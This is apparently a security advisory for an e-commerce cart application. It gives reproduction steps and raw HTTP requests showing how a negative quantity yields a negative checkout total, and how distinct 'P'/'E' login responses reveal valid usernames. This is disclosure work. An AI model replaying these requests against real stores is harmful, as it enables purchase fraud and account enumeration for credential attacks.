Description

- It was found that the application suffers from business logic flaw

- Additionally the application is vulnerable to username enumeration on the
login page

Logic Flaw

Steps to Reproduce:

1. Checkout page and intercept HTTP POST request
2. Add minus quantity such as -10
3. The final price would come up as negative value

// HTTP POST request modifying the quantity to negative value

POST /cart/add HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122
[...]

productid=225&amount=-10

// HTTP response

HTTP/2 200 OK
Server: nginx
[...]

[...]
<img src="https://demo.spa-cart.com/var/photo/product/234x200/225/695/1.jpg"
alt="" /><b>Five And Two Jewelry Piper Gold-Plated Earrings</b> added to
cart
<br /><br />
<strong class="added_price">Price: <span><span
class="currency">$</span>59.00</span></strong>
<div class="added_options">
<b>Selected options:</b>
Qty: 1<br />
Color: silver gold<br />
</div>
[...]

// HTTP GET request to checkout

GET /checkout HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122
[...]

// HTTP response showing negative amount owned

HTTP/2 200 OK
Server: nginx
[...]

[...]
\t<td>silver gold<\/td>\r\n<\/tr>\r\n<\/table>\r\n <\/td>\r\n <td
class=\"line\" nowrap align=\"right\">\r\n<span
class=\"currency\">$<\/span>59.00 x -10 =
<span class=\"currency\">$<\/span>-590.00 <\/td>
[...]

Username Enumeration:

Steps to Reproduce:

1. Register account
2. Enter valid account with wrong password
3. Trap HTTP request
4. Check that response for valid username has "P" message
5. Enter invalid account with wrong password
6. Check that response for invalid username has "E" message

// HTTP POST request with valid username and wrong password

POST /login HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
[...]

email=test%40test.test&password=test123

// HTTP response showing "P" error message

HTTP/2 200 OK
Server: nginx
[...]

P

// HTTP POST request with invalid username and wrong password

POST /login HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
[...]

email=test%40test.t3st&password=test123

// HTTP response showing "E" error message

HTTP/2 200 OK
Server: nginx
[...]

E